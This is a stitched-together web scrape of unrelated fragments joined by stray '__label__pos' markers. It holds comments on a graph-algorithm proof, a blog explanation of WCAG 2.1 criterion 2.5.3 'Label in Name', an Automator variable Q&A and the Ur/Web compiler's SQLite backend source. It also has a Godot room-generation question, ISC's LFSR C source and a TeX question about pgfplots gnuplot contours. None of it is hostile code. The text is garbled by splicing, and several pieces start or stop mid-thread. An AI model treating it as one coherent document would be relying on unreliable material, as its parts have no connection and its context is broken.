• Parallel Computing: Julia allows developers to accelerate their code by distributing computations across multiple cores, resulting in significant speed gains. Julia’s approach to parallelism is not only powerful but also remarkably accessible, making it an ideal choice for tasks that demand high-performance computing without the headaches of complex parallel programming. Whether you’re crunching big data or running complex simulations, Julia’s parallel computing capabilities ensure your projects run swiftly and efficiently.
• Unrivaled Speed: Julia’s most celebrated feature is its exceptional speed. Unlike many other languages, Julia was purpose-built with performance in mind. Its just-in-time (JIT) compiler enables code execution that rivals languages like C and Fortran. This remarkable speed is a game-changer for data scientists and researchers who work with large datasets and complex algorithms. With Julia, tasks that used to take hours can now be completed in minutes or even seconds, opening up new horizons for innovation.
• Versatility Redefined: Julia’s versatility is another hallmark. It’s not confined to a specific niche but instead offers a wide array of applications. Whether you’re crunching numbers for scientific simulations, creating machine learning models, or developing web applications, Julia can seamlessly adapt to your needs. This adaptability makes it an ideal choice for multidisciplinary projects where diverse skill sets and toolsets are required.
• Ease of Use: While Julia’s performance may be on par with low-level languages, its syntax is refreshingly high-level and user-friendly. Julia is designed to be accessible to programmers with varying levels of experience, and its clear and intuitive syntax facilitates rapid development.
• Growing Ecosystem: Julia boasts a thriving and ever-expanding ecosystem of packages and libraries. Its compatibility with popular data science and scientific computing tools like Python, R, and MATLAB ensures a smooth transition for those looking to migrate or integrate Julia into their workflows.
The Challenges of Hiring Julia Developers
As the demand for Julia developers continues to rise, companies encounter a set of distinct challenges when it comes to recruiting these specialized professionals. Understanding these hurdles is essential for businesses seeking to harness the power of Julia effectively.
Scarcity of Skilled Talent
One of the primary challenges lies in the scarcity of skilled Julia developers. The unique nature of the language means that individuals with expertise in Julia are relatively rare. As a result, companies often find themselves in fierce competition for a limited pool of qualified candidates.
Competitive Landscape
The competitive landscape for Julia developers is intense. With an increasing number of industries recognizing the value of Julia for data science, scientific computing, and more, companies must vie for top talent. This high demand typically leads to salary inflation and makes it challenging to attract and retain skilled Julia developers.
Niche Expertise Required
Julia is not a mainstream programming language, and its specialized features require a unique skill set. Companies seeking Julia developers need professionals who possess both domain knowledge and proficiency in the language. This combination of skills can be elusive to find in the traditional hiring process.
The Need for Custom Recruitment
To overcome these challenges, companies must adopt a custom recruitment approach tailored to Julia developers. Traditional hiring methods may not yield the desired results, making it essential to work with specialized talent acquisition partners who understand the intricacies of the field.
Traditional Hiring Methods
In the quest to find and hire Julia developers, many companies initially turn to conventional hiring methods that have served them well in the past. While these approaches may have their merits, they often fall short when it comes to identifying and securing the unique skills and expertise required in the world of Julia programming.
Conventional Job Postings
Posting job advertisements on popular job boards is a common starting point. However, when it comes to Julia developers, this method may yield limited results. Julia’s niche nature means that qualified candidates may not be actively searching on general job platforms.
Recruitment Agencies
Some companies enlist the services of recruitment agencies to identify potential candidates. While agencies can help source talent, they may lack the specialization needed to understand the nuances of Julia development. This can result in mismatches between candidate skills and company requirements.
In-House Screening
Traditional hiring often involves an in-house screening process where HR teams or non-technical personnel evaluate candidates. When it comes to technical roles like Julia development, this approach can be ineffective since non-technical evaluators may struggle to assess a candidate’s proficiency accurately.
Limitations and Drawbacks
The limitations of these traditional methods become apparent when faced with the unique challenges of hiring Julia developers. They often lead to extended recruitment timelines, increased costs, and the risk of hiring candidates who may not possess the specific Julia expertise required for the role.
As the demand for Julia developers continues to grow, companies are recognizing the need for more specialized and tailored approaches to recruitment to overcome these limitations and secure top talent in the field.
The TurnKey Labs Advantage
When searching for Julia developers, companies seeking specialized expertise are increasingly turning to TurnKey Labs as their solution of choice. TurnKey Labs stands out as a dedicated and tailored resource for acquiring top-tier Julia development talent, offering a distinctive approach through its innovative YourShoring model.
Specialized Julia Expertise
TurnKey Labs understands the unique demands of Julia development. With a team of experts who are well-versed in the language’s intricacies, TurnKey Labs ensures that you’re not just hiring developers but true Julia professionals. This specialization sets them apart in the competitive landscape.
The YourShoring Model
YourShoring, TurnKey Labs’ proprietary model, redefines talent acquisition. It places you, the client, at the core of the process, ensuring that your specific needs and culture are front and center. Unlike traditional outsourcing, where you relinquish control, YourShoring empowers you to build and manage your dedicated Julia development team entirely under your direction.
Custom Recruitment
TurnKey Labs’ custom recruitment process is designed to identify the perfect fit for your Julia development needs. They understand that generic hiring methods fall short in the world of Julia, and their tailored approach guarantees that you get the right talent with the right skills.
TurnKey Labs’ commitment to delivering top-notch Julia development talent, combined with the YourShoring model’s client-centric approach, makes them the go-to choice for companies seeking a specialized and effective solution in the competitive Julia developer market.
Hire Julia developers with TurnKey Labs
How TurnKey Labs Can Help to Hire Julialang developer?
TurnKey Labs emerges as a strategic ally for companies embarking on the journey to find and hire skilled Julia developers. Their expertise in the field and their commitment to tailoring solutions to your specific needs make them the ideal partner for securing top-tier Julia talent.
• Custom Recruitment: TurnKey Labs’ approach begins with a deep understanding of your requirements. They take the time to comprehend your project, culture, and objectives to create a custom recruitment strategy. This ensures that the Julia developers they identify are not just technically proficient but also aligned with your organization’s ethos.
• Access to Top Talent: Finding Julia developers in a competitive landscape can be challenging. TurnKey Labs’ extensive network and experience allow them to source the best in the field. Their rigorous screening process ensures that you’re presented with candidates who possess the precise skills required for your project.
• Accelerated Onboarding: TurnKey Labs doesn’t just stop at finding talent; they facilitate a smooth onboarding process, ensuring that your Julia development team integrates seamlessly into your organization. This streamlined approach minimizes the time it takes to get your project off the ground.
• Reduced Churn: Their dedication to talent retention translates into lower turnover rates, saving you the time and resources otherwise spent on frequent rehiring. Their comprehensive retention programs keep your Julia developers motivated and engaged.
Partnering with TurnKey Labs means gaining access to a specialized and streamlined approach to finding and hiring Julia developers. Their commitment to understanding your unique needs and their ability to deliver top-tier talent ensures that you have the right team in place to drive your Julia development projects to success.
Summing up
Julia, a high-level programming language, has emerged as a powerful choice for data science, scientific computing, and beyond. The demand for skilled Julia developers is on the rise, driven by the language’s exceptional speed, versatility, and innovation potential.
However, the journey to find and hire Julia developers is not without its challenges. Traditional hiring methods often fall short of identifying the unique expertise required, leading to extended timelines and increased costs. This is where TurnKey Labs steps in as a game-changing solution.
TurnKey Labs’ YourShoring model offers a tailored and client-centric approach to talent acquisition. Their specialization in Julia development ensures that you’re not just hiring developers but true professionals in the field. Their custom recruitment process, access to top-tier talent, accelerated onboarding, and talent retention programs make them the go-to choice for securing top Julia developers.
FAQ
What is Julia, and why is it important in the world of programming languages?
Julia is a high-level, high-performance programming language specifically designed for numerical and scientific computing. It's important because it offers exceptional speed, versatility, and innovation potential, making it an ideal choice for data science, scientific research, and other fields where performance and efficiency are critical.
What are the challenges companies face when trying to hire Julia developers?
Companies often struggle with the scarcity of skilled Julia developers, fierce competition in the job market, and the need for candidates with both domain knowledge and programming expertise. Traditional hiring methods may not effectively identify and secure these specialized professionals.
Why should companies consider partnering with TurnKey Labs for Julia developer hiring needs?
Companies should consider TurnKey Labs because of their expertise in Julia development, their client-centric approach, and their ability to deliver top-tier talent. Partnering with TurnKey Labs ensures that you have the right team in place to drive your Julia development projects to success.
October 5, 2023
Tailor made solutions built around your needs
Get handpicked, hyper talented developers that are always a perfect fit.
Let’s talk
Please rate this article to help us improve our content.
|
__label__pos
| 0.919696 |
How to access environment variable values?
Question
I set an environment variable that I want to access in my Python application. How do I get this value?
1
1761
3/1/2019 9:21:15 PM
Accepted Answer
Environment variables are accessed through os.environ
import os
print(os.environ['HOME'])
Or you can see a list of all the environment variables using:
os.environ
As sometimes you might need to see a complete list!
# using get will return `None` if a key is not present rather than raise a `KeyError`
print(os.environ.get('KEY_THAT_MIGHT_EXIST'))
# os.getenv is equivalent, and can also give a default value instead of `None`
print(os.getenv('KEY_THAT_MIGHT_EXIST', default_value))
Python default installation on Windows is C:\Python. If you want to find out while running python you can do:
import sys
print(sys.prefix)
2658
2/27/2018 6:45:21 PM
To check if the key exists (returns True or False)
'HOME' in os.environ
You can also use get() when printing the key; useful if you want to use a default.
print(os.environ.get('HOME', '/home/username/'))
where /home/username/ is the default
Licensed under: CC-BY-SA with attribution
Not affiliated with: Stack Overflow
Icon
|
__label__pos
| 0.986757 |
summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorJeremy Evans <[email protected]>2019-08-09 16:44:43 -0700
committerJeremy Evans <[email protected]>2019-09-21 16:10:18 -0700
commit7470f965650bf17875632f0c5f9e5a4d9de9fc3f (patch)
treeca40dbb76456ff9ff7a69bc5b6b5a02a494f4b43
parent5cb283217b713605c6bddc527f96bbc773fd1fb9 (diff)
Fix Module#class_variables for singleton classes of classes/modules
Module#class_variables should reflect class variable lookup. For singleton classes of classes/modules, this means the lookup should be: * Singleton Class * Class * All Ancestors of Class Note that this doesn't include modules included in the singleton class, because class variable lookup doesn't include those. Singleton classes of other objects do not have this behavior and always just search all ancestors of the singleton class, so do not change the behavior for them. Fixes [Bug #8297]
Notes
Notes: Merged: https://github.com/ruby/ruby/pull/2478
-rw-r--r--test/ruby/test_variable.rb28
-rw-r--r--variable.c6
2 files changed, 34 insertions, 0 deletions
diff --git a/test/ruby/test_variable.rb b/test/ruby/test_variable.rb
index aa301f2bc7..f14b4019df 100644
--- a/test/ruby/test_variable.rb
+++ b/test/ruby/test_variable.rb
@@ -35,6 +35,34 @@ class TestVariable < Test::Unit::TestCase
end
end
+ def test_singleton_class_included_class_variable
+ c = Class.new
+ c.extend(Olympians)
+ assert_empty(c.singleton_class.class_variables)
+ assert_raise(NameError){ c.singleton_class.class_variable_get(:@@rule) }
+ c.class_variable_set(:@@foo, 1)
+ assert_equal([:@@foo], c.singleton_class.class_variables)
+ assert_equal(1, c.singleton_class.class_variable_get(:@@foo))
+
+ c = Class.new
+ c.extend(Olympians)
+ sc = Class.new(c)
+ assert_empty(sc.singleton_class.class_variables)
+ assert_raise(NameError){ sc.singleton_class.class_variable_get(:@@rule) }
+ c.class_variable_set(:@@foo, 1)
+ assert_equal([:@@foo], sc.singleton_class.class_variables)
+ assert_equal(1, sc.singleton_class.class_variable_get(:@@foo))
+
+ c = Class.new
+ o = c.new
+ o.extend(Olympians)
+ assert_equal([:@@rule], o.singleton_class.class_variables)
+ assert_equal("Zeus", o.singleton_class.class_variable_get(:@@rule))
+ c.class_variable_set(:@@foo, 1)
+ assert_equal([:@@foo, :@@rule], o.singleton_class.class_variables.sort)
+ assert_equal(1, o.singleton_class.class_variable_get(:@@foo))
+ end
+
def test_variable
assert_instance_of(Integer, $$)
diff --git a/variable.c b/variable.c
index f3d73fac63..1627467bd9 100644
--- a/variable.c
+++ b/variable.c
@@ -3209,6 +3209,12 @@ static void*
mod_cvar_of(VALUE mod, void *data)
{
VALUE tmp = mod;
+ if (FL_TEST(mod, FL_SINGLETON)) {
+ if (rb_namespace_p(rb_ivar_get(mod, id__attached__))) {
+ data = mod_cvar_at(tmp, data);
+ tmp = cvar_front_klass(tmp);
+ }
+ }
for (;;) {
data = mod_cvar_at(tmp, data);
tmp = RCLASS_SUPER(tmp);
|
__label__pos
| 0.555233 |
Erklären mir
Believe it or not, I don't know everything… yet.
Sunday, January 14, 2007
[Computers :: Hardware] Why Wait to Degauss Again?
Why does pretty much every document that mentions the deguass function of monitors tell you to wait about 15 minutes before degaussing again? Does this mean that you must also wait around 15 minutes before turning off/on a monitor that automatically degausses when turned on.
Speaking of degaussing, what happens if a monitor is exposed to a magnetic field that is stronger than that created by the degaussing mechanism? Do you need to use a more powerful, external degausser, or will it be fixed over time because the degausser reduces the deviation by a bit each time it runs, until the deviation is within the degausser's normal fixable range?
|
__label__pos
| 0.703268 |
TeX - LaTeX Stack Exchange is a question and answer site for users of TeX, LaTeX, ConTeXt, and related typesetting systems. Join them; it only takes a minute:
Sign up
Here's how it works:
1. Anybody can ask a question
2. Anybody can answer
3. The best answers are voted up and rise to the top
The MinionPro option swash makes \mathcal use Minion swash capitals. The position of math accents on swash capitals could use some adjustment (see below).
For a single accent, applying \skew{6} appears to work well. I suppose I could define a command, say:
\newcommand{\accentcal}[2]{\skew{6}{#1}{\mathcal{#2}}}
Is there a more flexible alternative? One of the MinionPro developers suggested "modifying the kerning files", but I am not sure how to do this.
\documentclass{article}
\usepackage[swash]{MinionPro}
\begin{document}
\[\begin{array}{ccc}
\hat{K} & \hat{\mathcal{K}} & \skew{6}\hat{\mathcal{K}} \\
\hat{C} & \hat{\mathcal{C}} & \skew{6}\hat{\mathcal{C}}
\end{array}\]
\[\begin{array}{ccc}
\widehat{K} & \widehat{\mathcal{K}} & \skew{6}\widehat{\mathcal{K}} \\
\widehat{C} & \widehat{\mathcal{C}} & \skew{6}\widehat{\mathcal{C}}
\end{array}\]
\end{document}
enter image description here
share|improve this question
There is an example of patching a font for a similar reason in this answer to a related question: bad-positioning-of-math-accents-for-the-beamer-standard-font – mas Sep 1 '11 at 9:02
@mas Thanks. I saw that post. It isn't clear to me how I can adapt the patch; I am not familiar with font metrics. – Audrey Sep 1 '11 at 13:57
up vote 5 down vote accepted
+100
Please try the fixed scripts here to generate the corrected metrics automatically. My result from your code:
enter image description here
share|improve this answer
+1 Thanks. Does FontPro work with the OTFs that come free with Adobe Reader? I tried building with only these and the resulting MinionPro map file turns up empty. – Audrey Aug 1 '12 at 1:32
@Audrey Yes, it should work. I've just tried to build the fonts from the Version 2.068 of the font that comes with Adobe Reader on my system and it seemed to work fine. Could you please write what you did (maybe per email)? – sebschub Aug 1 '12 at 6:58
I deleted OTFs for other fonts in the build and it works fine now. Are you planning on doing any work with the glyphs? The math v and \nu look the same. Moreover no professional font offers a product integral. In any case many thanks for this! – Audrey Aug 2 '12 at 0:28
@Audrey I'm glad it worked. At the moment my time is rather limited and I focus on MdSymbol to finish the next release for CTAN. I'll try to add a product integral to MdSymbol first but I'll open issues for the points mentioned by you on github. Do you have other pictures of the product integral? Could you add links to the corresponding issues? The one on CTAN looks strange (at least)... – sebschub Aug 2 '12 at 9:52
Yes, the symbol from prodint looks OK only with CM. With Minion, I use \pi from LM. LM has less weight so \pi doesn't look too heavy scaled up. You can find some more examples here. If you decide to open this issue at github, I can provide more details there. – Audrey Aug 2 '12 at 15:50
There are four classes of solution to the problem:
1. Use an alternative font
One that has the letter shapes and accent positioning to your liking.
2. Create a new command for the accented characters
This can apply the appropriate amount of skew for each required character:
\newcommand*{\Khatcal}{\skew{3}{\hat}{\mathcal{K}}}
Alternatively, your suggested \newcommand is fine if all the \skew values are the same.
Defining special control sequences for accented letters that you need frequently is recommended in the TeXbook (p136) and this extends that to improve the look of the character but is no more work in the text and is easy to change.
3. Use a different accent
For example, with \hat, rather than use the standard accent, use a wide form, albeit over a single character. These can be clearer for math use, unless you are distinguishing between 'hat' and 'big hat' over a single character, and look to better fit the (full width) of the letter.
Many math accents are available in wide forms, e.g. The Comprehensive LaTeX Symbol List (texdoc comprehensive) pp59-60. These symbols are made more extensible by the MnSymbol package (which may be particularly well-suited for use with MinionPro: as I do not have the font installed I cannot verify that) and even more extensible by the yhmath package.
As an example, using the mtpro2 fonts as these are fonts I have installed that give a range of math capitals, rather than because the default small accent positioning is poor:
\documentclass{article}
\usepackage{amsmath}
\usepackage{mathtools}
\usepackage[mtpscr]{mtpro2}
\begin{document}
\[\begin{array}{ccc}
\hat{K} & \hat{\mathcal{K}} & \hat{\mathscr{K}}\\
\hat{C} & \hat{\mathcal{C}} & \hat{\mathscr{C}}
\end{array}\]
\[\begin{array}{ccc}
\widehat{K} & \widehat{\mathcal{K}} & \widehat{\mathscr{K}}\\
\widehat{C} & \widehat{\mathcal{C}} & \widehat{\mathscr{C}}
\end{array}\]
\end{document}
mathmode hat accents using some mtpro2 fonts
The accent could be widened toward either side (e.g. add a thin space or phantom character) or moved (e.g. by kerning) but these solutions are as complex as the original kerning suggestion on the smaller accent. As mentioned above, trying the MnSymbol and yhmath wide forms may be simpler if the symbols they define are not already defined in earlier packages.
4. Fix the kerning for the font
This is probably the hardest option and uses tftopl and pltotf to modify the character kerning in the font's .tfm file.
You should check that the licence of the font and its supporting files allows such changes. You should also keep a backup of the unchanged font files. You may also want to use different names for the modified files (if allowed under the licence). Remember, too, if the system's .tfm file for the font is changed that the change could affect other documents compiled on the system that use the font. Lastly, if the fonts are kept with the same name a reinstallation or update of the font will lose the changes.
The process is discussed in Bad positioning of math accents for the beamer standard font.
share|improve this answer
Thanks. I've updated the sample to give results with \widehat. They are still pretty bad (IMO). There isn't a distinction in my work between the meaning of \hat and \widehat, but the standard is to use \hat on single characters. I'd sooner switch to another calligraphic font. (In practice I actually do switch, but it'd be great to have a nice fix so MinionPro users can make more use of swash capitals.) – Audrey Sep 8 '11 at 17:44
Thanks for the update. The extra material on #4 is helpful, but it still isn't clear to me how I can adapt Hendrik's post. I'll look into the font metric tools you mentioned. #3 doesn't appear to fix the problem. I've essentially mentioned #1 and #2 already. – Audrey Sep 18 '11 at 17:01
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.9316 |
reborn55 - Fotolia
Tip
Why should I use a build server?
Because apps can be built on a developer's local machine, some question the usefulness of a build server. However, Brad Irby points out that they provide some distinct advantages.
A build server is a dedicated machine used for building your applications. Build servers often are referred to as continuous integration servers; the two ideas are slightly different, but they often are combined on the same server. Each time a developer adds new code, the build server is notified of the addition. In response, the server will pull the new code from a code repository, build it from scratch and run all unit tests. The end result is a clean build of the most current code.
Technical managers sometimes question the usefulness of a build server when it seems an individual developer can achieve the same result by building on a local machine. However, build servers hold a few key advantages over the developer build approach.
Controlled, dependable and repeatable
A build server ensures that only the proper code goes into the build. Developers play with new software products, utility libraries or other tools on their local machines. Installing and uninstalling these tools can leave stray DLLs behind that may be mistakenly used in the build. This can lead to a frequently uttered phrase: "But it builds on my machine." Unchecked source code is also a common reason this phrase is uttered. With a dedicated build server, if it doesn't build on the build server, it's broken.
Another source of errors a build server can defend against is creating a release build instead of a debug build. During testing, developers may build the code with extra embedded information that aids debugging. This information slows execution and enlarges the resulting application, but is indispensable when fixing problems. The build server can be configured to build the application in release mode, which strips out all the debug information, making the application smaller and faster. The build also can be extended easily to build for multiple hardware targets, such as 32 or 64 bit.
Enforced unit tests
Forced unit test runs are another responsibility of the build server. It is easy for developers to forget to run unit tests before checking in code or decide that a change is small enough that it doesn't need a full unit test run. Build servers can enforce unit test success, even going so far as to reject a developer's code addition if any unit tests break during the build.
Applications often require more time- and data-intensive tests known as integration tests. These are tests that interact with the surrounding environment in some way, most commonly querying data from a database. Typically, these tests require a special set of data to exist on the database server in order for the test to pass.
In addition to requiring a special setup, these tests are also time-consuming to run. A properly configured continuous integration server can restore a test database with the data properly configured and then run the integration tests. Tests that take a significant amount of time can be scheduled to run during off hours.
Ensuring code quality
Build servers provide a central point to measure code quality. Test coverage metrics and other code quality measurements can be made during the build, providing incremental statistics on progress and quality. Extreme shops can go so far as to reject additions of code if coverage drops below a certain percentage.
One testing location for QA team
The advantages of a build server extend beyond developers. With a build sever in place, QA teams always know which version they need to test. This allows them to streamline their own workflow by introducing automated testing tools.
Every project, regardless of size, should use a build server. They enforce good development practices; provide a controlled, dependable build; enhance code quality; and are easy to set up.
Next Steps
Tools and trends surrounding continuous integration
Solutions to continuous integration testing challenges
Why open source rules legacy modernization efforts
Dig Deeper on Application development and design
Software Quality
Cloud Computing
TheServerSide.com
Close
|
__label__pos
| 0.811185 |
谨慎处理 Service Worker 的更新
(给前端大全加星标,提升前端技能
作者:小蘑菇小哥
zhuanlan.zhihu.com/p/51118741
Service Worker 以其 异步安装 和 持续运行 两个特点,决定了针对它的更新操作必须非常谨慎小心。因为它具有拦截并处理网络请求的能力,因此必须做到网页(主要是发出去的请求)和 Service Worker 版本一致才行,否则就会导致新版本的 Service Worker 处理旧版本的网页,或者一个网页先后由两个版本的 Service Worker 控制引发种种问题。
经过近 2 年的发展,PWA 在 WEB 圈的知名度已经大大提升,即便你没用过可能也至少听说过。Service Worker (以下简称 SW)是 PWA 中最复杂最核心的部分,其中涉及的主要有 Caches API (caches.put, caches.addAll 等), Service Worker API (self.addEventListener, self.skipWaiting 等) 和 Registration API (reg.installing, reg.onupdatefound 等)。
本文不再科普 SW 的基础,我主要想在这里谈一谈 SW 的更新问题。需要做到 SW 和页面的完全同步,其实并不容易。在此之前,我假设你已经了解了:
1. SW 的作用
2. SW 的注册方式 (navigator.serviceWorker.register)
3. SW 的生命周期 (install -> waiting -> activate -> fetch)
组织 SW 的两大禁忌
在开始正式谈论 SW 的更新机制之前,我们有必要先确定组织 SW 时的两个禁忌。在将 SW 应用到自己的站点时,我们要避开这两种方法,他们是:
不要给 service-worker.js 设置不同的名字
一般针对静态文件,时下流行的做法是在每次构建时根据内容(或者当时的时间等随机因素)给它们一个唯一的命名,例如 index.[hash].js。因为这些文件不常修改,再配以长时间的强制缓存,能够大大降低访问它们的耗时。
可惜针对 SW,这种做法并不合适。我们假设一个项目
1. 首页 index.html,底下包含了一段 script 用于注册 service-worker.v1.js。
2. 为了提升速度或者离线可用,这个 service-worker.v1.js 会把 index.html 缓存起来。
3. 某次升级更新之后,现在 index.html 需要配上 service-worker.v2.js 使用了,所以源码中底下的 script 中修改了注册的地址。
4. 但我们发现,用户访问站点时由于旧版 service-worker.v1.js 的作用,从缓存中取出的 index.html 引用的依然是 v1,并不是我们升级后引用 v2。
之所以出现这种情况,是因为把 v1 升级为 v2 依赖于 index.html 引用地址的变化,但它本身却被缓存了起来。一旦到达这种窘境,除非用户手动清除缓存,卸载 v1,否则我们无能为力。
所以 service-worker.js 必须使用相同的名字,不能在文件名上加上任何会改变的因素。
不要给 service-worker.js 设置缓存
理由和第一点类似,也是为了防止在浏览器需要请求新版本的 SW 时,因为缓存的干扰而无法实现。毕竟我们不能要求用户去清除缓存。因此给 SW 及相关的 JS (例如 sw-register.js,如果独立出来的话)设置 Cache-control: no-store 是比较安全的。
SW 的 waiting 状态
注册 SW 是通过 navigator.serviceWorker.register(swUrl, options) 方法进行的。但和普通的 JS 代码不同,这句执行在浏览器看来其实有两种不同的情况:
• 如果目前尚未有活跃的 SW ,那就直接安装并激活。
• 如果已有 SW 安装着,向新的 swUrl 发起请求,获取内容和和已有的 SW 比较。如没有差别,则结束安装。如有差别,则安装新版本的 SW(执行 install 阶段),之后令其等待(进入 waiting 阶段)
此时当前页面会有两个 SW,但状态不同,如下图:
640?wx_fmt=png
两个 SW 同时存在
• 如果老的 SW 控制的所有页面 全部关闭,则老的 SW 结束运行,转而激活新的 SW(执行 activated 阶段),使之接管页面。
这是一种比较温和和安全的做法,相当于新旧版本的自然淘汰。但毕竟关闭所有页面是用户的选择而不是程序员能控制的。另外我们还需注意一点:由于浏览器的内部实现原理,当页面切换或者自身刷新时,浏览器是等到新的页面完成渲染之后再销毁旧的页面。这表示新旧两个页面中间有共同存在的交叉时间,因此简单的切换页面或者刷新是不能使得 SW 进行更新的,老的 SW 依然接管页面,新的 SW 依然在等待。(这点也要求我们在检测 SW 更新时,除了 onupdatefound 之外,还需要判断是否存在处在等待状态的 SW,即 reg.waiting 是否存在。不过这在本文讨论范围之外,就不展开了)
假设我们提供了一次重大升级,希望新的 SW 尽快接管页面,应该怎么做呢?
方法一:skipWaiting
在遭遇突发情况时,很容易想到通过“插队”的方式来解决问题,现实生活中的救护车消防车等特种车辆就采用了这种方案。SW 也给程序员提供了实现这种方案的可能性,那就是在 SW 内部的 self.skipWaiting() 方法。
self.addEventListener('install', event => {
self
.skipWaiting()
// 预缓存其他静态内容
})
这样可以让新的 SW “插队”,强制令它立刻取代老的 SW 控制所有页面,而老的 SW 被“斩立决”,简单粗暴。Lavas 最初就使用了这个方案,因为实在是太容易想到也太容易实现了,诱惑极大。
可惜这个方案是有隐患的。我们想象如下场景:
1. 一个页面 index.html 已安装了 sw.v1.js (实际地址都是 sw.js,只是为了明显区分如此表达而已)
2. 用户打开这个页面,所有网络请求都通过了 sw.v1.js,页面加载完成。
3. 因为 SW 异步安装的特性,一般在浏览器空闲时,他会去执行那句 navigator.serviceWorker.register。这时候浏览器发现了有个 sw.v2.js 存在,于是安装并让他等待。
4. 但因为 sw.v2.js 在 install 阶段有 self.skipWaiting(),所以浏览器强制退休了 sw.v1,而是让 sw.v2 马上激活并控制页面。
5. 用户在这个 index.html 的后续操作如有网络请求,就由 sw.v2.js 处理了。
很明显,同一个页面,前半部分的请求是由 sw.v1.js 控制,而后半部分是由 sw.v2.js 控制。这两者的不一致性很容易导致问题,甚至网页报错崩溃。比如说 sw.v1.js 预缓存了一个 v1/image.png,而当 sw.v2.js 激活时,通常会删除老版本的预缓存,转而添加例如 v2/image.png 的缓存。所以这时如果用户网络环境不畅或者断网,或者采用的是 CacheFirst 之类的缓存策略时,浏览器发现 v1/image.png 已经在缓存中找不到了。即便网络环境正常,浏览器也得再发一次请求去获取这些本已经缓存过的资源,浪费了时间和带宽。再者,这类 SW 引发的错误很难复现,也很难 DEBUG,给程序添加了不稳定因素。
除非你能保证同一个页面在两个版本的 SW 相继处理的情况下依然能够正常工作,才能使用这个方案。
方法二:skipWaiting + 刷新
方法一的问题在于,skipWaiting 之后导致一个页面先后被两个 SW 控制。那既然已经安装了新的 SW,则表示老的 SW 已经过时,因此可以推断使用老的 SW 处理过的页面也已经过时。我们要做的是让页面从头到尾都让新的 SW 处理,就能够保持一致,也能达成我们的需求了。所以我们想到了刷新,废弃掉已经被处理过的页面。
在注册 SW 的地方(而不是 SW 里面)可以通过监听 controllerchange 事件来得知控制当前页面的 SW 是否发生了变化,如下:
navigator.serviceWorker.addEventListener('controllerchange', () => {
window
.location.reload();
})
当发现控制自己的 SW 已经发生了变化,那就刷新自己,让自己从头到尾都被新的 SW 控制,就一定能保证数据的一致性。道理是对,但突然的更新会打断用户的操作,可能会引发不适。刷新的源头在于 SW 的变更;SW 的变更又来源于浏览器安装新的 SW 碰上了 skipWaiting,所以这次刷新绝大部分情况会发生在加载页面后的几秒内。用户刚开始浏览内容或者填写信息就遇上了莫名的刷新,可能会砸键盘。
另外这里还有两个注意点:
SW 的更新和页面的刷新
在讲到 SW 的 waiting 状态时,我曾经说过 简单的切换页面或者刷新是不能使得 SW 进行更新的,而这里又一次牵涉到了 SW 的更新和页面的刷新,不免产生混淆。
我们简单理一下逻辑,其实也不复杂:
1. 刷新不能使得 SW 发生更新,即老的 SW 不会退出,新的 SW 也不会激活。
2. 这个方法是通过 skipWaiting 迫使 SW 新老交替。在交替完成后,通过 controllerchange 监听到变化再执行刷新。
所以两者的因果是相反的,并不矛盾。
避免无限刷新
在使用 Chrome Dev Tools 的 Update on Reload 功能时,使用如上代码会引发无限的自我刷新。为了弥补这一点,需要添加一个 flag 判断一下,如下:
let refreshing = false
navigator
.serviceWorker.addEventListener('controllerchange', () => {
if (refreshing) {
return
}
refreshing
= true;
window
.location.reload();
});
方法三:给用户一个提示
方法二有一个思路值得借鉴,即“通过 SW 的变化触发事件,而在事件监听中执行刷新”。但毫无征兆的刷新页面的确不可接受,所以我们再改进一下,给用户一个提示,让他来点击后更新 SW,并引发刷新,岂不美哉?
大致的流程是:
1. 浏览器检测到存在新的(不同的)SW 时,安装并让它等待,同时触发 updatefound 事件
2. 我们监听事件,弹出一个提示条,询问用户是不是要更新 SW
640?wx_fmt=png
提示条
3. 如果用户确认,则向处在等待的 SW 发送消息,要求其执行 skipWaiting 并取得控制权
4. 因为 SW 的变化触发 controllerchange 事件,我们在这个事件的回调中刷新页面即可
这里值得注意的是第 3 步。因为用户点击的响应代码是位于普通的 JS 代码中,而 skipWaiting 的调用位于 SW 的代码中,因此这两者还需要一次 postMessage 进行通讯。
代码方面,我们以 Lavas 的实现来分步骤看一下:
第 1 步是浏览器执行的,与我们无关。第 2 步需要我们监听这个 updatefound 事件,这是需要通过注册 SW 时返回的 Registration 对象来监听的,因此通常我们可以在注册时直接监听,避免后续还要再去获取这个对象,徒增复杂。
function emitUpdate() {
var event = document.createEvent('Event');
event
.initEvent('sw.update', true, true);
window
.dispatchEvent(event);}if ('serviceWorker' in navigator) {
navigator
.serviceWorker.register('/service-worker.js').then(function (reg) {
if (reg.waiting) {
emitUpdate
();
return;
}
reg
.onupdatefound = function () {
var installingWorker = reg.installing;
installingWorker
.onstatechange = function () {
switch (installingWorker.state) {
case 'installed':
if (navigator.serviceWorker.controller) {
emitUpdate
();
}
break;
}
};
};
}).catch(function(e) {
console
.error('Error during service worker registration:', e);
});
}
这里我们通过发送一个事件 (名为 sw.update,位于 emitUpdate() 方法内) 来通知外部,这是因为提示条是一个单独的组件,不方便在这里直接展现。当然如果你的应用有不同的结构,也可以自行修改。总之想办法展示提示条,或者单纯使用 confirm 让用户确认即可。
第 3 步需要处理用户点击,并和 SW 进行通讯。处理点击的代码比较简单,就不重复了,这里主要列出和 SW 的通讯代码:
try {
navigator
.serviceWorker.getRegistration().then(reg => {
reg
.waiting.postMessage('skipWaiting');
});} catch (e) {
window
.location.reload();
}
注意通过 reg.waiting 向 等待中的 SW 发消息,而不是向当前的老的 SW 发消息。而 SW 部分则负责接收消息,并执行“插队”逻辑。
// service-worker.js// SW 不再在 install 阶段执行 skipWaiting 了
self
.addEventListener('message', event => {
if (event.data === 'skipWaiting') {
self
.skipWaiting();
}
})
第 4 步和方法二一致,也是通过 navigator.serviceWorker 监听 controllerchange 事件来执行刷新操作,这里就不重复列出代码了。
方法三的弊端
从运行结果上看,这个方法兼顾了快速更新和用户体验,是当前最好的解决方案。但它也有弊端。
弊端一:过于复杂
• 在文件数量方面,涉及到至少 2 个文件(注册 SW,监听 updatefound 和处理 DOM 的展现和点击在普通的 JS 中,监听信息并执行 skipWaiting 是在 SW 的代码中),这还不算我们可能为了代码的模块分离,把 DOM 的展现点击和 SW 的注册分成两个文件
• 在 API 种类方面,涉及到 Registration API(注册,监听 updatefound 和发送消息时使用),SW 生命周期和 API(skipWaiting)以及普通的 DOM API
